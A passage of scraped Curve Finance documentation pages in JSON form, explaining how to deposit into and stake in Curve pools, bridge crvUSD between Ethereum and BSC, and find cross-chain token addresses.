(DAI-USDC-USDT) 3Pool LP token (3crv) When becoming a liquidity provider, you don't have to deposit all the coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. The deposit wrapped option lets you deposit the base pool token (usually 3Pool). When depositing coins into a metapool, and thus having exposure to a base pool token (e.g., 3CRV) and its paired token, you will earn at the rate of the metapool gauge. However, you'll receive trading fees from both the base and metapool. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a tricrypto-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-tricrypto-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Depositing into a tricrypto-pool Table of contents Depositing into the pool Confirming and staking Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into a tricrypto-pool Tricrypto pools contain three volatile assets. Learn more about v2 pools For instance, the TriCRV pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/factory-tricrypto-4/deposit ). You will need at least one of the three tokens in the pool to deposit. The TriCRV pool consists of CRV, crvUSD, and ETH. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into the tri-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-tri-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into the tri-pool Table of contents Depositing into the pool Confirming and staking Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into the tri-pool The Tri-Pool is a classic Curve pool and improved upon earlier offerings in many ways. Here are some of the major improvements this pool: A new rampable A parameter (like on BTC pools) which can adjust liquidity density without causing losses to the virtual price (and to LPs) Gas optimised Will be used as a base pool for meta pools (which would essentially allow some pools to seemingly trade against underlying base pools without diluting liquidity) By only having the three most liquid stable coins in crypto, this pool should grow to become the most liquid and offer the best prices This pool is expected to become the most liquid and the cheapest to interact with making it a good place to start for newcomers wanting to try Curve with small amounts of capital. Because this pool is likely to offer the best prices, it will also likely be one of the Curve pools getting the most volume. See how to deposit and stake into the 3Pool: https://www.youtube.com/watch?v=OsRrGij9Ou8 Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/3pool/deposit ). You will need one or multiple stable coins to deposit. The Tri-Pool takes DAI, USDC and USDT. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://resources.curve.fi/lp/depositing/depositing/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Overview Table of contents Before depositing... Choosing the right pool Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Before depositing... Choosing the right pool Home Pools Depositing Overview Before depositing... Before depositing into a Curve pool, it is highly recommended to familiarise yourself with how Curve works, how it makes money and its basic mechanisms. You can do so by visiting the page below: Understanding Curve v1 Understanding Curve v2 Choosing the right pool Curve has many pools to choose from currently accepting stable coins and tokenised Bitcoin (Bitcoin on Ethereum). If you are not sure which pool is right for you, click the link below: Understanding Curve Pools Back to top", "labels": ["Documentation"]}, {"title": "User Guide: Bridging crvUSD", "html_url": "https://resources.curve.fi/multichain/bridging-crvusd-to-bsc/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC How to Bridge crvUSD to BSC Table of contents Overview Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote ETH Amount Step 3: Bridge crvUSD to BSC Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote BNB Amount Step 3: Bridge crvUSD to Ethereum Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Overview Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote ETH Amount Step 3: Bridge crvUSD to BSC Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote BNB Amount Step 3: Bridge crvUSD to Ethereum Home Multi-Chain User Guide: Bridging crvUSD Overview This guide explains how to bridge crvUSD tokens from the Ethereum Mainnet to the Binance Smart Chain (BSC) or vice versa , utilizing LayerZero infrastructure. Requirements include having a wallet with crvUSD tokens and either ETH or BNB, depending on the bridging direction, to cover transaction fees. Disclaimer This guide is only applicable for bridging crvUSD to BSC or vice versa. Using the contracts below will only allow the bridging of crvUSD. Attempting to use other tokens will cause the transaction to revert . Contract Addresses Both bridge contracts, on Ethereum and Binance Smart Chain, have the same contract addres. Bridge Contract Address Ethereum 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f Binance Smart Chain 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f The crvUSD contract address differs depending on the chain. crvUSD Contract Address Ethereum 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E Binance Smart Chain 0xe2fb3F127f5450DeE44afe054385d74C392BdeF4 Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Navigate to the crvUSD token contract on Etherscan: 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Locate the method 3. approve and approve the bridge contract as a spender. _spender : Enter 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f , the bridge contract address. _value : Specify the amount in 1e18 format (for example, for 100 crvUSD, enter 100000000000000000000 ). Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. Click Write and complete the transaction. Step 2: Read Contract and Quote ETH Amount Visit the bridge contract on Etherscan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#readContract . Use function 1. quote to determine the destination chain fees. The quote amount represents the cost (in ETH) of calling the bridge method in Step 3 . This does not include gas costs, which need to be paid additionally. Step 3: Bridge crvUSD to BSC Access the bridge contract on Etherscan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#writeContract . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Navigate to method 2. bridge and input your values: bridge : Enter the ETH amount quoted in Step 2 . Ensure you enter the amount denominated in Ether (quoted amount / 1e18). _amount : Specify the amount of crvUSD in 1e18 format. Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. _receiver : Enter your BSC wallet address. Click Write and complete the transaction. After completing these steps, it may take a few minutes for your crvUSD tokens to be successfully bridged to the Binance Smart Chain. Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Navigate to the crvUSD token contract on BSCScan: 0xe2fb3F127f5450DeE44afe054385d74C392BdeF4 . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Locate the method 3. approve and approve the bridge contract as a spender. _spender : Enter 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f , the bridge contract address. _value : Specify the amount in 1e18 format (for example, for 100 crvUSD, enter 100000000000000000000 ). Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. Click Write and complete the transaction. Step 2: Read Contract and Quote BNB Amount Visit the bridge contract on BSCScan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#readContract . Use function 1. quote to determine the destination chain fees. The quote amount represents the cost (in BNB) of calling the bridge method in Step 3 . This does not include gas costs, which need to be paid additionally. Step 3: Bridge crvUSD to Ethereum Access the bridge contract on BSCScan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#writeContract . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Navigate to method 2. bridge and input your values: bridge : Enter the ETH amount quoted in Step 2 . Ensure you enter the amount denominated in Ether (quoted amount / 1e18). _amount : Specify the amount of crvUSD in 1e18 format. Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. _receiver : Enter your Ethereum wallet address. Click Write and complete the transaction. After completing these steps, it may take a few minutes for your crvUSD tokens to be successfully bridged to Ethereum. Back to top", "labels": ["Documentation"]}, {"title": "Bridging funds", "html_url": "https://resources.curve.fi/multichain/bridging-funds/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Bridging funds In order to use Curve on chains other than Ethereum, you will need to bridge funds to the sidechain. Curve operates on several chains, documented here: Understanding Multichain Bridges are not operated by Curve, so Curve cannot offer support for using bridges. The following issues may affect users of bridges, so make sure to do research and exercise caution. Liquidity issues: Sometimes bridges do not have enough liquidity to process transactions. Usually the bridge will wait to refill liquidity before it permits funds getting processed. Stuck funds: Occasionally funds will get moved off one chain, but fail to appear on the new chain in a timely manner. Sometimes this gets resolved by simply waiting. In extreme cases, you should contact the support channels for the bridge in question. Hacking: Cross-chain communication can be complex, and the bridge is Back to top", "labels": ["Documentation"]}, {"title": "Multi-Chain: Curve DAO Token", "html_url": "https://resources.curve.fi/multichain/crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Multi-Chain: Curve DAO Token The Curve token can be bridged across various chains, though it does not always retain full functionality. Locking CRV to obtain veCRV, as well as rewards voting for cross-chain gauges, must be conducted on the Ethereum blockchain. MULTICHAIN WARNING Multichain statement: https://twitter.com/MultichainOrg/status/1677180114227056641 The Multichain service is currently halted, and all bridge transactions are suspended on their source chains. There is no confirmed time for service resumption. Please refrain from using the Multichain bridging service at this time. Network Contract Address Bridge Arbitrum 0x11cDb42B0EB46D95f990BeDD4695A6e3fA034978 Arbitrum Bridge Base 0x8Ee73c484A26e0A5df2Ee2a4960B789967dd0415 Base Bridge Optimism 0x0994206dfE8De6Ec6920FF4D779B0d950605Fb53 Optimism Bridge polygon-matic Polygon 0x172370d5Cd63279eFa6d502DAB29171933a610AF Polygon Bridge Gnosis 0x712b3d230F3C1c19db860d80619288b1F0BDd0Bd Gnosis Bridge X-Layer 0x3d5320821bfca19fb0b5428f2c79d63bd5246f89 X-Layer Bridge Avalanche 0x47536F17F4fF30e64A96a7555826b8f9e66ec468 Multichain Fantom circle@2x Fantom 0x1E4F97b9f9F913c46F1632781732927B9019C68b Multichain Celo 0x173fd7434B8B50dF08e3298f173487ebDB35FD14 Multichain Back to top", "labels": ["Documentation"]}, {"title": "Multi-Chain: Curve Stablecoin (crvUSD)", "html_url": "https://resources.curve.fi/multichain/crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Multi-Chain: Curve Stablecoin (crvUSD) crvUSD was first introduced in May 2023 on the Ethereum blockchain. As of [specific date or period], this stablecoin can be minted exclusively on the Ethereum mainnet. Understanding crvUSD Despite being launched on Ethereum, crvUSD can be bridged to various chains: Chain crvUSD Token Address Official Bridge Ethereum 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E --- Arbitrum 0x498Bf2B1e120FeD3ad3D42EA2165E9b73f99C1e5 Arbitrum Bridge Optimism 0xc52d7f23a2e460248db6ee192cb23dd12bddcbf6 Optimism Bridge Base 0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93 Base Bridge Gnosis 0xaBEf652195F98A91E490f047A5006B71c85f058d Gnosis Bridge polygon-matic Polygon 0xc4Ce1D6F5D98D65eE25Cf85e9F2E9DcFEe6Cb5d6 Polygon Bridge X-Layer 0xda8f4eb4503acf5dec5420523637bb5b33a846f6 X-Layer Bridge Back to top", "labels": ["Documentation"]}, {"title": "Understanding multi-chain", "html_url": "https://resources.curve.fi/multichain/understanding-multichain/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Understanding multi-chain Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Home Multi-Chain Understanding multi-chain Curve exists across several chains, with several more planned. Curve's primary chain will always be Ethereum, but other sidechains have advantages including speed and cost. In order to use Curve on other chains, you must typically send your funds from Ethereum to the sidechain using the chain's bridge. All of Curve's active chains can be found in the \"Networks\" menu on the Curve homepage. Supported Sidechains as of 11/14/2022 Connecting your Wallet When you move to new chains, you will need to connect your wallet with the chain's RPC and chain ID. Generally Curve sidechain pages have a button you can press to automatically switch networks and populate this information for you. A common issue with sidechains is RPC networks that are temporarily or permanently unavailable. If you are having trouble connecting with RPC networks you may need to visit the chain's support networks to find a new RPC network. Curve Forks Tip For Bridges and CRV contract addresses on other chains please see Important Bridges . Curve forks include the following: Avalanche Avalanche is a sidechain that bills itself as \"blazingly fast, low-cost and eco-friendly.\" Curve's Avalanche site is hosted at https://avax.curve.fi/ Arbitrum Arbitrum is an Optimistic Ethereum L2. Arbitrum validators optimistically assume nodes will be operating in good faith, which allows for faster transactions. However, to retroactively allow opportunity to challenge malicious behavior, settlement time can be slower. In some cases this could mean it takes up to one week to bridge funds off-chain, so plan accordingly. Curve on Arbitrum: https://curve.fi/#/arbitrum/pools Binance Smart Chain Curve does not operate on Binance Smart Chain. The team at Ellipsis ( https://ellipsis.finance/ ) launched a fork of Curve that provides similar functionality. The Curve team authorized this fork, but does not actively maintain this fund. Fantom Fantom is a high-performance, scalable, and secure smart contract platform designed to overcome the limitations of traditional blockchain networks by utilizing a DAG-based consensus algorithm. Curve on Fantom: https://curve.fi/#/fantom/pools Harmony Harmony is a proof-of-stake sidechain promising two seconds of transaction speed and a hundred times lower gas fee. Curve's Harmony offerings are at https://harmony.curve.fi/ . Optimism Optimism is verified by a series of smart contracts on the Ethereum mainnet and thus not considered a real sidechain. Curve's Optimism branch is located at https://curve.fi/#/optimism/pools Polygon Polygon (previously known as Matic Network) is a multi-chain scaling solution for Ethereum that aims to provide faster and cheaper transactions using Layer 2 sidechains. Curve on Polygon: https://curve.fi/#/polygon/pools xDai/Gnosis The xDai chain is a stable payments EVM (Ethereum Virtual Machine) blockchain designed for fast and inexpensive transactions. Curve on xDai/Gnosis: https://curve.fi/#/xdai/pools Back to top", "labels": ["Documentation"]}, {"title": "Boosting your CRV rewards", "html_url": "https://resources.curve.fi/reward-gauges/boosting-your-crv-rewards/", "body": 